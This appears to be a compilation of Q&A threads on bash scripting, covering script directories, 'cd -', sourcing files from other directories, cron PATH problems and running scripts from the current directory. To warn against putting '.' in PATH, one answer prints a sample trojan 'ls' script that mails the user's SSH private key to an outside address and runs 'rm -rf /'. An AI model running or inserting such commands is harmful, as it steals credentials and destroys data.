remove relative paths from bash script - bash

I have this bash script which I would like to call a file in the same directory:
#!/bin/bash
set -o errexit # Exit on error
# Enable script to run from anywhere
cd "$(dirname ${BASH_SOURCE[0]})"
source ./script/main
cd ../..
source ./scripts/test
cd ./packages/applicant/
yarn build
Is there anyway I can get rid of the relative paths or do this better.
I need to be in the right directory to call the npm scripts via yarn

You can get the absolute path of the script directory with:
ABSOLUTE_PATH_OF_SCRIPT="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
This way you can avoid cd to another directory for the script till before calling yarn build. Once you have the absolute path, you can convert the source calls to absolute and remove the cd lines, e.g.
source "$ABSOLUTE_PATH_OF_SCRIPT"/script/main
source "$ABSOLUTE_PATH_OF_SCRIPT"/../../script/test
cd "$ABSOLUTE_PATH_OF_SCRIPT"/../../packages/applicant
yarn build
Although personally, the relative paths approach feels more readable. It is not clear what is the purpose of the source statements, and depending on the internals, they may require that you actually cd to those directories like in your initial script, but you can keep track of the script's directory in a variable like in this example to improve the readabilty.

Related

Behavior of 'cd --' (two hyphens)

I know that cd ~- changes directory to $OLDPWD.
I'm using GNU bash, version 4.4.23(1)-release (x86_64-apple-darwin17.5.0) on a Macbook.
'cd --' appears to have the same behavior as 'cd ~-'.
Why?
With Bash -- is used to specify the end of a command options.
So cd -- means cd.
cd without argument change your current directory to your home directory (like cd ~).
The fact it leads you to your last PWD is a coincidence.
That's not correct. cd -- changes to your home directory, just like cd only. Consider cd -- a pure cd with no options and no parameters given. See also https://unix.stackexchange.com/a/11382.

Need to understand the difference between two commands in bash programming and what causes them to be

The commands cd ../dir2 and cd ..; cd dir2 are equivalent. However, if one issues
next the command cd - the results are different.
Why?
cd - will change the current directory to the last one in its history. After executing your first command, cd ../dir2, the last directory that cd - will read is whatever sibling directory you were in initially. Meanwhile, cd ..; cd dir2 executes 2 separate commands, therefore writing to history twice, and making the last directory be the parent rather than the sibling.
See this: What does 'cd -' stand for?
The cd utility only remembers the last directory. In the second example, it remembers where it was when it did cd dir2; in the first, it remembers where it was when it did cd ../dir2. So cd - is bound to give different results.
According to the bash manual:
OLDPWD is the previous working directory as set by the cd command. (see bash variables)
cd - is equivalent to cd $OLDPWD. (see shell builtins)

alias to source a bash file from another dir and return to current dir

I am trying to source the Firefox addon sdk. To do so, I must cd into the sdk's dir, then run source bin/activate. If I don't cd into that dir, and source directly from whatever path I am in currently, the following happens:
$ source ~/src/devtools/addon-sdk/bin/activate
Welcome to the Add-on SDK. Run 'cfx docs' for assistance.
$ cfx
-bash: cfx: command not found
I want to have an alias for that, which cd's into the sdk, sources it, then returns to my current directory:
alias acfx='cd ~/src/devtools/addon-sdk && source bin/activate && cd "$(dirname "$0")"'
This sources the sdk correctly, but alas does not return to the directory I invoked the alias:
$ acfx
Welcome to the Add-on SDK. Run 'cfx docs' for assistance.
dirname: illegal option -- b
usage: dirname path
I am lost here, how do I return to the original directory? Or specify a 'working directory' for source?
You can execute cd and subsequent command in a sub-shell like this:
(cd ~/src/devtools/addon-sdk && source bin/activate)
If for some reason you don't want to create sub-shell then use cd - to change dir to the the previous dir:
cd ~/src/devtools/addon-sdk && source bin/activate && cd -
You can use the pushd and popd shell builtins:
alias acfx='pushd ~/src/devtools/addon-sdk && source bin/activate && popd'
The $(dirname "$0") trick only works when invoked from a script; on the prompt, $0 will be bash, so you'd try to return to . (because dirname bash prints .). In your case, I'm guessing $0 is something different; maybe -bash?
You can save the previous path and then go to it:
prev_dir=$(pwd); ... your commands ... ; cd $prev_dir
In your case:
alias acfx='prev_dir=$(pwd); cd ~/src/devtools/addon-sdk; source bin/activate; cd $prev_dir'
I am not curious if this solves your original problem. can you try cd to that dir, source , cd to some other temp dir, and then try cfx ? i mean sourcing should not be different whether done from the current dir, or some specific dir. If the script assumes the user to be present in the current dir, then it's wrong. May be in that case adding export PATH=~/src/devtools/addon-sdk:$PATH in script might help

Bash Script - how to get script directory so that it runs in Cron

I've been working on a script that is to be run from a couple different locations/servers (all checked out from svn). To get the script's directory (used for generating files in the directory), I have been using this:
script_dir="$( cd "$( dirname "$0" )" && pwd )"
This works great, but does not seem to execute in crontab. I have made sure that there are no relative paths used in the script, and this script works through crontab when substituting $script_dir with the directory's path.
Any thoughts?
dirname is probably not in the default PATH for cron jobs. I don't know about your system, but on OS X dirname is in /usr/bin, which isn't in cron's default PATH. If this is the problem, there are 3 easy ways to fix this:
Give the full path to the dirname command (and other commands you use in the script): script_dir="$( cd "$( /usr/bin/dirname "$0" )" && pwd )"
Explicitly set the PATH at the beginning of the script: PATH=/usr/bin:/bin:/usr/sbin:/sbin (or something like that)
Explicitly set the PATH in your crontab file: PATH=/usr/bin:/bin:/usr/sbin:/sbin (make sure this line is before the entry that runs your script)
Just to give it a though, are you sure that line is not working?
Debugging cronjobs is pretty tricky.
crontab uses the sh shell unless you change it, if you have anything from another shell, say command redirection from bash, it won't work.
Try executing the script with sh and an empty environment:
env - sh <script>
I think this is the closest you can get to mimicking the crontab behavior.
But paths are the first problem, so be sure to put absolute paths there.

Why do I have to use an absolute path to execute Bash scripts?

I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.

Resources